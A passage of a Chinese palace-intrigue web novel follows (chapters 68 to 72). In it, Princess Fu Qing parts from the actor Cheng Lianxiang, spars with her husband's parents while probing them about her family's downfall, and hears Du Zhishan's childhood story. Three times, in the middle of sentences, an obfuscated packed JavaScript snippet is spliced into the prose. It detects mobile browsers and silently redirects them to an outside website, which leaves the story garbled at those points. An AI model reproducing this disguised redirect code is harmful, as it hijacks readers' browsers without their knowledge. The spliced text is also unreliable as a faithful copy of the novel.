“但如今我已经确定公主心中并非没有我,这让我还怎么能够甘心地就这样离开呢?” 看着程怜香的样子,苻庆已经明白了他并非是在与自己说笑。从程怜香的眼神中苻庆便能够感受到,程怜香是认真的。 说实话,若是程怜香只是在说笑,苻庆可能还不会有此刻这么紧张。 到此刻,苻庆已经说不出自己心中并没有程怜香的鬼话,从她刚才着急将程怜香带回听松居的时候便能够看出 ——就如同程怜香关心她一般,她同样在乎着程怜香。 之前将程怜香赶走的时候,苻庆尚且看不清楚自己的心思,因此还能够昧着良心蒙一蒙程怜香。但如今她已经看清了自己的心,看着此刻就站在自己眼前的程怜香,苻庆怎么还能够允许自己说出那些违心的谎言? 但是不说,她又能怎么办呢? 爹娘的大仇还没有报,朝思暮想的锦西城仍在天边,苻庆早已做好了将这条命豁出去的准备,但是程怜香却是无辜的。 苻庆并不打算将这些事告诉程怜香,却又知道这些事情就如同天堑一般横亘在二人之间。 再退一步来说,还有杜至善呢。 69. 试探 苻庆明白事到如今自己还在瞻前顾后已经是对于程怜香感情的一种不敬,但正如程怜香还无法因为苻庆而抛却自己的戏曲事业一样,苻庆也不可能因为程怜香而选择放弃自己蛰伏多年终于换来的报仇良机。 因此,即便此刻苻庆已经看明白了自己的内心,她仍然只能顾左右而言他。 “程怜香,我看你是已经忘记你师父对你的嘱托了?” 程怜香一怔。 “你忘了,你师父曾经告诫过你,若是想要唱好戏便绝不能失身。”苻庆感觉自己的话语中带着挑衅,这也是她想要达成的效果。“程怜香,你可确定自己想好了,你愿意放弃和春班、放弃你的大好前程,选择进入公主府做一名无关紧要的面首,只能依靠我的宠爱度过漫长的余生吗?” 场面陷入了沉默,这一阵沉默一直持续着,苻庆只觉得过了一炷香这么长。 但实则不过是几个呼吸之间。 “公主。”松醪的声音忽然如同炸雷般响起,苻庆同程怜香一起抬起头看向松醪,这才发现对方早已经不知在何时走到了院子门口。 松醪的声音在黑夜中十分清晰。 “驸马爷回来了。” 程怜香一刹那都没有犹豫,仿佛他就在等待杜至善的打岔。几乎就在松醪这句话响起的同时,程怜香已经迅速转身向院子后跑去。 看来是昨晚来之前做过功课了,这院子后面有一道矮墙,即便是以程怜香的身手也能够轻而易举地翻过去。苻庆看着程怜香的背影,嘴角牵起一个不易被人察觉的弧度。 也好,有些答案还是不要说出来为妙。即便二人都明白,这答案究竟会回答什么。 再看向院门口,杜至善已经珊珊走回,但他只是看到了苻庆同松醪两个人一前一后站在院子中,两个人都静静地盯着自己的方向。 “公主这是看望过国公爷回来了?” 见杜至善已经走近,苻庆点头。 “你去哪里了?” 杜至善跟着苻庆的脚步一同往屋内走去,“明日便要回京了,待回京后我们各自确定了前程,不知还有没有机会再相见,因此便在院子中又说了会话。” 苻庆此时才发觉,在英国公府这两日,杜至善与他口中的同僚在一起的时间都比与自己在一起的时间长。 “无妨,毕竟是同事一场。”苻庆还是很理解杜至善等人的心情。 虽说同样出身国子监,但是杜至善能够留在兵部工作,而他们若是无家世背景作为倚仗,只怕逃不过离京外放的命运。那到时候,他们确实是不知何时才能再见了。 “回京后你便要去吏部领旨了,”苻庆虽说已经确定杜至善要去兵部,但直到现在都没有告知杜至善,“日后恐怕你便要忙碌起来了。” “下官并不求官品多高,只盼着能够为陛下分忧,不要丢了公主的脸便好。”杜至善此时也已经确定自己一定会进入兵部工作,但也同样没有打算提前告知苻庆。 二人相视一笑,一同走入了房间。 寿宴已经结束,第二日一大早,宾客们便三三两两地离开了国公府。苻庆向来起得不会很早,拖着在英国公府又用了一顿早饭,这才有些恋恋不舍地走出了听松居。 英国公与国公夫人在府门口送客,苻庆走过去道别的时候发现婉娘已经又擦上了略有些成熟的香粉,看起来与昨晚见到的那个人又有些不一样了,苻庆现下终于明白婉娘为何要选择与自己年纪不符的打扮,原来是为了隐姓埋名保全性命。 看到苻庆与杜至善离开,英国公从袖中露出木马在苻庆眼前一晃,苻庆明白这是英国公让自己回去安心等待,笑着行过礼后登上了马车。 回去的马车上甚是安静,马车行的不快,苻庆甚至可以在车厢中撑着脑袋休息一会。闭上眼睛,苻庆的脑子中便会控制不住地想起这两日自己遇到的人和发生的事情。 刚才离开的时候苻庆特意注意过,并没有看见宁慈心,也没有看到宁国公府的马车。按照宫中的安排,距离宁慈心与孔孚成亲便是七日之后了,由于宁慈心做的是孔孚的续弦,婚礼仪式也简化了不少。苻庆甚至听说孔家已经放出话来,要求宁慈心一进门便要对着孔孚前两位夫人的牌位上香敬茶。 再想到宁慈心说话时威风凛凛的样子,苻庆莫名觉得孔府未来的日子并不会太过清静。 终于回到公主府,苻庆只感觉自己的心已经飞回了翠华庭自己的那张床榻上。本准备下马车后径直离开,却被杜至善叫住了。 “公主,明日我便要去吏部领事了,大约要到下值的时候再回来。” 苻庆并不在意杜至善在不在府中,或者说如果她真的能选,她反而希望杜至善不要回来。 “你自去忙你的便是。”苻庆回头看向杜至善,“我到底是个女子,无法入朝为官。你我之间还是要靠你在外行走,多为陛下分忧解难。” 杜至善拱手,“公主放心,我一定不会让陛下和公主失望。” 苻庆不再说话,点点头算作回答,抛下杜至善往翠华庭走去。 虽说听松居还算是舒适,但到底屋里还有个杜至善在,苻庆这两晚总觉得睡不安稳。现在终于能躺在自己的床上,苻庆只觉得每一寸骨头都重新舒展开了。 就这样在床上躺到午后,苻庆才勉为其难起床吃了些东西。苻庆吃饭的时候便看着松醪在屋内走进走出,张罗着收拾各种东西和用具,甚至连香炉中的香灰都让人清理掉了再重新抬回来。 “松醪,有时候我都觉得若是没有你在我身边,我大约真的可以说是寸步难行了。” 松醪又重新调整了一下香炉的位置,才转头对苻庆说:“公主放心吧,除非您赶奴婢走,否则奴婢是绝对不可能离开您的。” 苻庆明白松醪说的并非是奉承之话。自从六年前苻庆到了晏呢殿,松醪便一直都在照顾她。刚得知爹娘离世的消息时,苻庆夜夜梦魇不得好睡,是薛贵妃与松醪一晚又一晚守在苻庆身边。后来苻庆逐渐痊愈,松醪仍然保留了每晚睡在苻庆床榻边的习惯,直到苻庆过了十五岁生辰才说服松醪放弃。 可以说,这世上除了薛贵妃外,再也没有一个人比松醪更加关心苻庆。而除了薛贵妃外,松醪也是苻庆最信任的人。 在苻庆心中,她早已经将松醪当做自己的挚友,当做自己的亲人。 按照战场上的规矩来说,松醪是苻庆可以放心将自己后背交给对方的人。 但是现在看着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446159|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前为自己忙碌的松醪,苻庆心中却很不是滋味。毕竟她仍然没有将自己与杜至善商议好图谋夺回锦西城的事情告知对方,而这件事在苻庆看来,已经相当于自己对松醪的背叛。 “松醪,若是有一日你发觉我在骗你怎么办?” “骗?公主要骗奴婢什么?”松醪用掸子拍了拍苻庆的枕头,这是苻庆的一点小毛病,无论在哪都必须要睡松软的枕头。 苻庆张了张嘴,话到嘴边却还是改了口,“比如说我其实是一个坏人。” “在奴婢看来,公主是好人还是坏人都不重要。”松醪终于整理好了苻庆的床铺,站起身向苻庆走过来,“奴婢只知道要永远跟在您的身边。” 苻庆几次欲言又止,最终还是将那些话咽了回去。 有时候苻庆自己都想不通,她究竟为什么不敢将那些事告诉松醪,或者说告诉薛贵妃。 她究竟是在害怕薛贵妃与松醪会阻碍计划的执行,还是说担忧她们会在知晓这些事后改变对自己的态度。 哪怕是这些多年过去了,苻庆仍然不敢试探。毕竟对于苻庆来说,她们已经是自己仅剩的可以信任的人。 想到这,苻庆又想起了程怜香。 今天离开英国公府的时候苻庆并未看到程怜香,也不知道和春班到底走了没有。不过既然英国公已经知道程怜香与自己的关系,便肯定不会为难他们。 这一次重逢已经将话说得十分明白了,在苻庆看来程怜香基本等于不会在自己面前出现了。 这样也好,毕竟在未来很长时间里自己都需要心无旁骛地去做另一件事。 当晚,京城下了一夜的雨。许是电闪雷鸣的声音太大,苻庆居然又做了噩梦。 她终于回到了锦西城,但走进去才发现,这是被辽国人洗劫过的锦西城。城内到处都是鲜血和尸体,黄沙漫天卷过,留下的只有一片死寂。苻庆想要叫喊却说不出话,只能翻找着一具具尸体,试图寻找有没有一个还活着的人。 第二日醒来,苻庆才发觉自己脸上还有残留的泪珠,因为不想松醪担心,所以苻庆赶紧用手擦掉了。 由于昨晚的梦太过于逼真,导致苻庆直到吃早饭的时候还有些沉浸在情绪中缓不过来,只用了半碗粥便放下了筷子。松醪看出苻庆情绪低落,一边用筷子夹了一个小笼包到苻庆盘中,一边轻声问道:“公主想不想吃点心?奴婢一会让人出去买。” 也许自己确实应该吃一点甜的东西转移注意力,苻庆点点头,看着松醪殷切的目光,只好又夹起小笼包缓慢咀嚼了起来。 吃过饭苻庆本来打算搬把椅子到院子里晒晒太阳,今天杜至善不在府中,苻庆终于能够毫不顾忌形象地瘫在院子里了。 许是因为昨晚真的没睡好,刚躺下没一会苻庆便觉得意识已经有些不清醒了,她搭了一张帕子在脸上,偶尔能够听到风吹过树叶的声音。 不知道睡了多久,苻庆忽然被一阵脚步声吵醒。揭下脸上的帕子,苻庆看见松醪正在用一个奇怪的眼神看着自己。 “怎么了松醪?那糕点铺子没开门吗?” “公主,”松醪将糕点盘子放在苻庆身边,“铺子倒是开门了,但是刚才门房来报,说有张帖子递进来了。” 70. 探望 “谁的帖子?” “杜家的帖子。” “杜家?”苻庆只觉得自己的最后一点瞌睡都没有了,“哪个杜家?” 松醪心中也是一万个无奈,只能硬着头皮说道:“是驸马爷的爹娘,要来公主府探望您。” “探望我?”苻庆指着自己的鼻尖一脸不可置信,“探望我做什么?再说,这个时辰杜太傅不在东宫好好管教沈清嘉,来找我的事干什么?” 松醪摇摇头,“公主,那咱们要接下帖子吗?” 苻庆将帕子揉了揉扔到一旁,若是换做平时她大概真的会直接把帖子扔了回绝杜家,但是忽然想到她在英国公府听到的那些,苻庆又转变了主意。 “就算不看在驸马的份上,为着沈清嘉我也不能不给杜太傅这个面子。”苻庆站起身,“他们到了之后先带去花厅暂坐,我马上就来。” 松醪赶紧为苻庆描眉,而苻庆心中却在盘算另一件事。 早在英国公府那晚苻庆便曾经想过一个问题,若是英国公猜测的没错,自己爹娘的死以及锦西城的陷落真的与赵王有关,那赵王绝对不可能通过一己之力完成这些事。虽然英国公认为与赵王共同谋划的人是皇帝,但苻庆仍然觉得这一环又一环中还缺少一个扣子。 若是那贼人真的是为了偷那封信而来,便说明那封信确实是一份证据。但如果那份证据真的是赵王发给皇帝的,苻庆不相信他们还需要派一个贼人用偷的方式来销毁证据。 换言之,皇帝连大夏的国土都可以出卖,又怎么会允许自己的把柄如此长久地落在英国公手里,他自己却一直隐忍不发。毕竟对于皇帝来说,想要英国公的命也不是没有办法。 而杜太傅一向是坚定的主和派,曾经三番五次上书暗示苻坚在锦西城势力过大,皇帝应当及早将其召回京内查办。若是由他来做内应,这一切便会合理很多。 这也是苻庆突然改变主意要见杜太傅夫妇的原因,她想要试探对方与赵王究竟有没有合谋的可能。 换好衣服,早有婢女赶来通禀杜太傅夫妇已经到了花厅,苻庆最终在镜子前照了照,走出了翠华庭。 花厅中,杜太傅和杜夫人坐在椅子上,杜太傅正在品尝刚端上来的茶水,而杜夫人正在左右张望打量着花厅的陈设。 “这样瞧着这公主府也不是多么奢华,断没有外头传的那般荒唐。” 杜太傅瞥了一眼杜夫人,开口嘱咐道:“你可别忘了,她虽然是咱们杜家的媳妇不假,但同样也是大夏国的公主。” 杜夫人很不满杜太傅的态度,“知道了知道了,难道我还能吃了她不成?怎么你们一个两个的都只知道维护她。” 话音刚落,苻庆已经从门外走了进来。 杜太傅率先站了起来,杜夫人虽说有些不愿意,却还是跟着站起了身。 “儿媳见过杜太傅、杜夫人。”苻庆福身向他们二位问候。 成婚那日苻庆便已经敬过改口茶,但那是为了配合礼部做样子不得不说的。现在到了私下里,苻庆还是不想改口。 “二位快坐吧。”苻庆说着话已经坐在了主位的椅子上,一旁的婢女赶紧递上来一杯茶,苻庆也有些口渴,迫不及待地先喝了一口。 杜夫人从苻庆的称呼与行礼便有些不满,现在看苻庆不仅不顾自己的颜面率先坐下,又毫无顾忌地喝起了茶水,简直是完全不把自己放在眼里。 “公主真是身份高贵,嫁入我们杜家可算是委屈公主了。”杜夫人也坐到了椅子上,“若非陛下赐婚,像我们杜家哪能攀得上长公主的门楣啊?” 杜太傅听出了杜夫人话中的阴阳怪气,试图用眼神制止住对方,奈何杜夫人就是不看他。 “杜夫人这是哪里话?杜太傅位列三公,驸马也已经入朝为官,您怎么能自轻自贱呢?”苻庆笑着放下茶杯,“虽说杜家确实比不得我的公主府,但要说是委屈也没有,毕竟我现在也不用去杜家居住啊。” 杜夫人没想到苻庆竟然能说出这种话来,一时间只觉得一口气憋在胸口上不来,赶紧喝了口茶缓一缓。 “即便公主身份再高贵,也应当知道尊老敬老的道理。我明明记得在婚礼那日公主已经向我们敬了改口茶。”杜夫人将茶杯往桌上狠狠一放,“公主便是再瞧不起我们杜府,也应当记得为人儿媳的本分吧。” “杜夫人,并非是我不想改口,而是我不敢改口。”苻庆的脸上露出一个人畜无害的笑容,“我的爹娘是大夏朝的功臣,蒙陛下圣恩,如今牌位还在宫中永福殿里供着呢,我若是此时改口,那岂不是对陛下不敬?” 杜夫人明白苻庆的意思是说自己远比不上她父母身份尊贵,虽说心中不忿,但到底是无法反驳,只能冷笑着说道:“岂敢岂敢,我怎么配与公主的母亲比肩?要不说我们杜家好福气呢,能够娶进门一位这样尊贵的儿媳。” “杜夫人,我知道您说这话其实是想怪我,但确实并非我不想孝顺二老,而是大夏朝的规矩使然。便说今日二老想要见我,不也是要先下帖子吗?”苻庆这话说得坦坦荡荡,“不过您尽管放心,一会走的时候我一定让下人多包几份礼物,再派公主府的马车将礼物送回去,断不会折了二老的颜面。” “你!” 杜太傅率先伸出一只手按住了杜夫人,“公主好意,老臣不胜感激。” 苻庆对着杜太傅点点头,对于杜夫人的怒火视而不见。 “公主刚才说明德今日去吏部领事了?” “明德……”苻庆这才意识到这是杜至善的表字,对着杜太傅点头,“是这样的,驸马一大早便进宫了,说要等到下值才能回来,杜太傅可是要等他?” “不必。”杜太傅早已经知道杜至善要去兵部,自然也就不用在此处等待杜至善回来再了解情况。“不管驸马在哪里任职都是替陛下分忧,这便已经足够了。” “这么说的话,太傅对于驸马在何处任职并不清楚?”苻庆上身往前探去,“看来太傅还真是大公无私,我原以为您会为了驸马奔波一番呢。” 杜太傅低头一笑,“公主说的这是哪里话,驸马在何处任职乃是吏部亦或者是陛下的安排,老臣岂敢左右?” “杜太傅位极人臣,已经做到了文官之首,难道这点事还怕做不了主吗?” “越是位极人臣越要注意自己的所作所为断不能越雷池半步,”杜太傅伸手捋了一把胡子,“老臣虽说是太傅,但这都是陛下抬举,真要算起来老臣不过是一位教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446160|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书先生罢了如今的身份荣耀不过是陛下与太子尊师重道的结果。” 苻庆见杜太傅主动提及东宫,知道这是对方一种隐晦的提醒。她前面话说的并不好听,问话的时候也有些咄咄逼人,杜太傅肯定听出了苻庆话中的攻击性,现在用这种方式提醒苻庆,他们并非是敌人。 “说到东宫,杜太傅今日不必过去吗?” “太子殿下近来在温书,特意准许老臣在家休息两日。” 沈清嘉可真是聪明了,不就是想逃课,现在也能想出这许多由头来。 “既然如此,杜太傅便应当在府中好好休息。” “本来确实应当休息,可驸马与公主毕竟是新婚,老臣思前想后还是觉得应当过来探望公主。” 苻庆只觉得这杜太傅说话实在是过于圆滑,靠在椅子上回答道:“我年纪轻,身体还算可以,杜太傅还是好好保养自己吧。” “公主身体健康,那我们来探望儿子总是可以的吧?”沉默良久的杜夫人忽然说话,“毕竟大夏有规矩在前,我们不能要求公主到府上拜访,总能够要自己的儿子回去看一看吧。” 看来是因为杜至善这几日没有回家着急了,苻庆有些想笑,这杜夫人也是奇怪,杜至善都多大年纪了,难道还能日日回家吗? “杜夫人放心,前几日驸马跟着我一同去了英国公府为英国公祝寿,大约是太繁忙了,过几日抽出空肯定会回家的。”苻庆说到这,又看向杜太傅,“不好意思,我都忘记杜太傅好像没有受到英国公的邀请了。” “英国公早些年长期在边关驻守,与老臣并不熟悉,这种家宴不邀请老臣也是正常。” 苻庆看着杜太傅,并没有从他的脸上发觉什么异样。 “那杜太傅可听说,赵王不请自到的事情了?” 杜太傅微笑着摇头,“老臣没有听说。” 苻庆故意做出一个惊讶的表情,“真是怪事,赵王在英国公的宴席上喝得好生热闹,那么多京中贵族在场,我还以为这京城中必然早都传遍了。” “赵王再怎么说也算是皇亲国戚,等闲人士岂敢议论?”杜太傅看着苻庆,“赵王好歹也是公主的长辈,公主也要少议论为妙。” “杜太傅教训的是,只是不知道六年前杜太傅不到我爹娘葬礼吊唁的时候,为什么没人提醒杜太傅这于礼不合?”苻庆笑得气定神闲,“还是说杜太傅是在变相告诉我,我们苻家不配您前来。” 苻庆本以为杜太傅听到这些话后会有些反应,没想到对方只是缓缓回答:“公主错怪老臣了,老臣因为得知锦西城沦陷数度昏厥,至于苻坚将军与夫人的葬礼乃是陛下恩准老臣缺席的。公主那时候还小,很多道理并不清楚,还望公主莫要见怪。” 苻庆只感觉自己的手正在微微颤抖,这群人正是以自己还小的借口搪塞过去了一件又一件事。他们总觉得苻家现在只剩下一个没有用处的女儿,同姨母一起仰仗着陛下宠爱才能够走到今日,是根本不必放在眼中的存在。 而苻庆最恨的,便是他们这样看轻自己、看轻苻家。 “我不见怪,只是以后诸多事情,还望杜太傅也不要见怪。”苻庆压抑着怒火,一双眼睛狠狠的瞪着面无表情的杜太傅。 71. 往昔 “公主!”杜至善的声音忽然从门外响起。 杜夫人几乎立刻冲了出去,苻庆一愣,回过神才发现杜至善已经走了进来。 “你怎么回来了?” 杜至善越过杜夫人走到苻庆身前,对着杜太傅与杜夫人深深鞠了一躬,“父亲、母亲。” 杜太傅并未起身,而是抿过一口茶才让杜至善起身。 “明德,你今日不是去吏部了吗?怎么这么快便回来了。” “儿子已经去过了兵部,兵部侍郎邱大人说今日柳尚书不在宫中,让我明日进宫的时候一并拜访。” 自从主战派被皇帝刻意外放,现在的兵部俨然已经成了一个空架子,赵王才是兵部实际的话事人。这位柳尚书是前几年被赵王提拔起来的,兵书都没看过几卷,平日里也不经常出现在兵部。 杜夫人虽说也能够感知到现在的兵部已经不再同往年一样,但到底还是觉得儿子去这种地方有些放心不下,扭过头对杜太傅说道:“这是怎么回事啊?儿子不是一介文官吗,怎么又忽然调到兵部去了?虽说现下大夏朝四方太平,但万一若是突然打起来了,这兵部岂不十分危险?人人都说战场上刀剑无眼的,那万一出事了儿子可怎么办?” 说着说着杜夫人便要掉下泪来,杜至善却没什么反应,而是下意识地看向苻庆。 杜至善担心苻庆会因为杜夫人的话感到难过,而苻庆本人却没想这么多。此时已经临近正午,自从杜至善走进来后苻庆便开始了走神,心里控制不住地总想今日中午吃什么的问题。 杜至善见苻庆神色如常才放下心来,低头对杜夫人说道:“母亲放心吧,兵部只是协调兵马而已,再者说我朝一直有文官在兵部任职的先例,您不必担心。” 在杜至善说这话的时候,杜太傅也看向了苻庆,但他想的却是一旦杜至善进入兵部,便可以多多倚靠苻庆背后的武官势力,而这也与皇帝为苻庆与杜至善赐婚的初衷相符合。 “明德说得对,你是个妇道人家,这些事情既然不知情,就别管了。”杜太傅放下茶盏,“既然邱大人都这样讲了,你便明日再去拜访柳尚书吧。今日是我正好不用入宫,所以才会想到和你母亲过来探望公主,没有什么事。” “儿啊,你不知道公主可是好大的派头啊!不肯改口不说,刚才还话里话外指责咱们杜家门楣配不上她。”杜夫人好像忽然被打开了什么开关,冲上前一把抓住了杜至善的袖子,“儿子,要不你还是跟娘回家住吧,娘真害怕你在公主府过得不好啊……” 杜至善赶紧打断了杜夫人的话,“娘说的这是什么话?这是公主府,儿子怎么会过得不好?” “公主连我们都不放在眼里,难道能好好对你吗?”杜夫人抓住杜至善的手问道:“好儿子,你没有受罪吧?” 苻庆差点没忍住笑出来,在一旁轻声提醒道:“杜夫人,说实话,若不是您非要这么说,您儿子本来在公主府过得还挺舒服的。” “你!”杜夫人刚要说话,被杜至善一把揽在了怀里。 “娘,我这几日刚到兵部,许多事还需要适应。待过几日得空了,我一定回去看您。”杜至善的话语虽说是在安抚杜夫人,语气却像是在催促杜夫人离开。 杜夫人却还是不依不饶,“明德,你到底为什么一定要住在公主府里呢?咱们家离皇宫还近一些,到时候有娘在身边照顾你,不比在这公主府中没人管强吗?” “娘!”杜至善终于没忍住翻了脸,“对于我来说,现在最重要的事情是在兵部站稳脚跟,而不是日子过得舒服不舒服。再说,儿子早已经过了需要娘照顾的年纪,您若是真的这么想照顾我,我一个人在白鹿洞书院无人在意的时候您又做什么去了?” 别说杜夫人,就连苻庆都被杜至善的话吓了一跳。 此时杜太傅也赶紧走了上来,一把拉过杜夫人走到自己身后,轻声细语地对杜夫人说道:“好了,说这么长时间话公主必然也有些累了,咱们先回去吧。” 松醪三步并作两步带着杜太傅和杜夫人走出花厅,杜至善说完话之后一动不动,直到杜夫人走出门都没有再抬一次眼睛。而杜夫人被杜太傅搀扶着,其实也没有再看向杜至善一眼。 花厅中只剩下苻庆和杜至善两个人,虽说外头艳阳高照,但苻庆却觉得屋里像是个冰窟窿。 半晌,苻庆终于鼓起勇气开口打破沉默。 “你吃饭了吗?” 杜至善愣了一下,回身看向苻庆,却是露出一个笑脸。 “公主饿了吗?” 苻庆也不客套,而是认真地点点头。 “那下官也饿了。” 苻庆很满意杜至善的识相,招手让婢女将饭菜干脆就摆在花厅这边。成亲过去这么久了,苻庆和杜至善还是第一次单独坐在同一张桌子上吃饭。 杜至善的餐桌礼仪很好,最厉害的是他连喝汤的时候都能一点声音都没有,而苻庆不管怎么努力,都无法避免勺子碰撞到碗壁的声音。 用餐的时候苻庆不能说话,但却可以偷偷用眼睛瞥杜至善。对方好像已经整理好了情绪,也不记得刚才究竟发生了什么事情。 终于等到吃完饭,苻庆漱过口,看着杜至善还在舀着碗里的汤细细品尝。 “你和杜夫人关系不好吗?” 杜至善的勺子与碗发出了一声脆响。 “公主还真是心直口快。”杜至善放下手中的碗,有些无奈地看向苻庆。 “你我现在是一条绳上的蚂蚱,你与杜太傅杜夫人的关系我理应知道。”苻庆并不觉得有什么不妥。“万一日后有能够用上的时候呢?” 杜至善示意婢女可以收去自己的碗筷。 “我四岁时候便启蒙了,一开始是跟着亲戚在家中族学读书,六岁那年父亲将我送去了有名的白鹿洞书院。”杜至善脑中又想起书院那座不大的教室,夫子拿着戒尺走过每一张桌子的样子。 “一开始我没发现什么异常,直到过年的时候我发觉并没有人来接我,我寄回家的信也统统石沉大海。”杜至善露出一个微笑,好像是在嘲笑多年前那个坐在教室中傻乎乎等着父母来接自己回家过年的自己。 “我在白鹿洞书院住了七年,这七年时间只收到过家里的五封信,每一封信都是父亲寄给我的,嘱咐我要用心读书。然而对于那时候的我来说,我甚至不知道我用心读书到底有什么意义,因为我根本不知道自己还能不能回去杜家。” “杜太傅竟然这样心狠?”苻庆有些意外,毕竟这些年她也没有听说过杜太傅还有其他的儿子,对自己唯一的儿子还要不闻不问,这实在是有些离奇。 “在书院中攀比很是严重,我的同学们本来都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446161|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为我父亲在朝为官对我高看一眼,后来却发现我父亲再也没露过面,大家便开始传言说杜太傅已经有了其他的儿子,不准备要我回去了。” “怎么可能?即便杜太傅后来有了其他的儿子,你也仍然是杜家的嫡长子。对于他们这些士大夫来说,嫡长子不应当是十分重要的吗?” “公主有所不知,并非是嫡长子重要,而是他们心中所认定的那个人重要。”杜至善的声音很轻,“我也是后来回家后才知道,杜家上一辈只出了一个我父亲,长辈们便认定在这一辈中只有最合适的男孩才有资格做我父亲的儿子。” 虽说此事有些残酷,但苻庆却并非没有听说过此事。对于这些人丁稀少的家族来说,家族中能够倾斜过去的资源有限,一辈中往往只能选中一个有希望的孩子进行重点培养。杜太傅虽说有亲生的儿子,但杜家的荣耀到底还是需要排在最前面,因此恐怕也只能接受了这件事。 “在我的记忆中,父母的影子其实很淡。对我来说印象最深刻的人,实则是书院的先生。”说到这位先生,杜至善的眼神都变得柔和了许多。 “田先生运气很不好,他学富五车、胸有大志,却因为考试时忘记避讳先帝的名字,便被褫夺了这辈子参加科举的权利。” 这件事情苻庆了解得并不多,只知道先帝时期曾经颇为在意名字避讳的事情,也为此处罚了一大批学子。 “先生眼见科举没有希望,便主动选择去了定州,想要通过做将军幕僚的方式入仕。奈何本朝重文轻武,即便是先生那样的才能也找不到地方发挥。最后,先生选择进入了白鹿洞书院安家,成为了一名普通的教书先生。” 原先在锦西城的时候,苻坚将军麾下也有好几位幕僚。他们要不是科举屡试不中,要不就是身份卑微无法通过读书入仕。总之对于这些人来说,通过这种方式寻另一条路也并不奇怪。 “那时候每到年节我便跟着田先生回家吃饭,在田先生家中我第一次看到了定州的地图,也是在田先生口中我第一次知道了边关是什么样子的。” “怪不得你一个读书人却对兵戈之事如此在意,原来是你先生教的。”苻庆也觉得这份机缘很是巧合,“这样听起来田先生着实是个好人,他现在还在白鹿洞书院吗?” “他已经去世了,就在我离开白鹿洞书院第二年。”杜至善的表情看不出悲喜。“那时候我刚参加完科举,突然收到了师母寄过来的讣告。” 苻庆心中也有些唏嘘,“若是你师父知道你中了榜眼,一定会很高兴的。” “是吗?”杜至善几乎是下意识地询问一句。在他记忆中的田先生一直是不苟言笑的,因为脸上的皱纹很多,面相看起来也比实际的年龄更大。 苻庆看着杜至善这幅样子,只感觉他与杜太傅杜夫人并不亲近也是情有可原。毕竟他身为二人唯一的孩子,却被当做弃子安置在白鹿洞书院七年,这换做谁也是会感到心寒的。 “罢了,反正你现在也离开杜家了。”苻庆站起身,“日后你若是不想回去,只管在公主府住着便是。左右那揽晴轩是礼部亲自挑给你的,我也不能再收回来了。” 杜至善能听出苻庆这话背后的善意,看着苻庆的背影露出一个微笑。 “既然公主已经知道我家的事情了,那下官是不是也可以问一句公主的家事?” 72. 发现 “我的家事?”苻庆回过头看向杜至善,“我还以为我家里发生的事情整个京城的人都早就知道了呢。” “公主,下官想问您,薛贵妃究竟知不知道您要报仇的事情?” 苻庆一愣,没有说话。 “我想公主应该也明白,若是薛贵妃能够与我们站在一起,那我们想要完成目标将会更加简单。” “不成,不能告诉我姨母。”苻庆想也不想地制止住了杜至善。“我姨母与这件事无关。” 杜至善的表情晦暗不明,“公主是不希望薛贵妃与这件事产生联系,还是根本没想过利用薛贵妃达到我们的目的?” “大胆!”苻庆的声音有些颤抖,“我姨母是当朝贵妃,太子的生母,你有什么资格利用她?” “这么说,下官是不是该认定公主所想的是第三种可能。那就是利用薛贵妃作为公主最后的退路,保证不至于与陛下决裂,万一日后失败还能留住一条性命?” 苻庆看向杜至善灼灼的目光,她已经能够感觉到这个眼神背后的炽热,那股炽热代表了杜至善内心最深层的渴望,也代表了对方要求自己绝对忠诚的决心。 “你放心,我从未想过给自己留退路。只是姨母对我恩重如山,我不能因为自己一己私利就连累姨母和我表弟。”苻庆的眼神坦荡,“从小我爹就教我决不能背叛自己的盟友,复仇这件事我不可能临阵脱逃。” “那便是最好。”杜至善也站起身,“既然公主打定主意要避开薛贵妃,那您就必须提前思考公主府上的人是否安全。” 苻庆眯起眼睛,“你是说松醪?” 杜至善点头,“其他人公主若是觉得麻烦,我可以帮公主神不知鬼不觉处理了他们。但松醪姑娘是薛贵妃赐给公主的,我无权处置。” “这些人都是宫里派出来的,你有什么办法能神不知鬼不觉地处理他们?” “我既然说了有,那就是真的有办法。毕竟我的手段公主不是早就已经见识过了吗?” 自然是见识过了,苻庆想到宁慈心一夜白了的头发,忽然觉得身体有些颤抖。 “我知道公主被他们伺候惯了,但公主放心,我一定会再选一批聪明的人送进来,不会影响到公主。”杜至善已经靠近了苻庆,他的声音很是平稳,传到苻庆的耳朵里仿佛带着蛊惑。“公主,长痛不如短痛,既然您已经想好了,就应该及早动手,避免有人走漏了风声。” 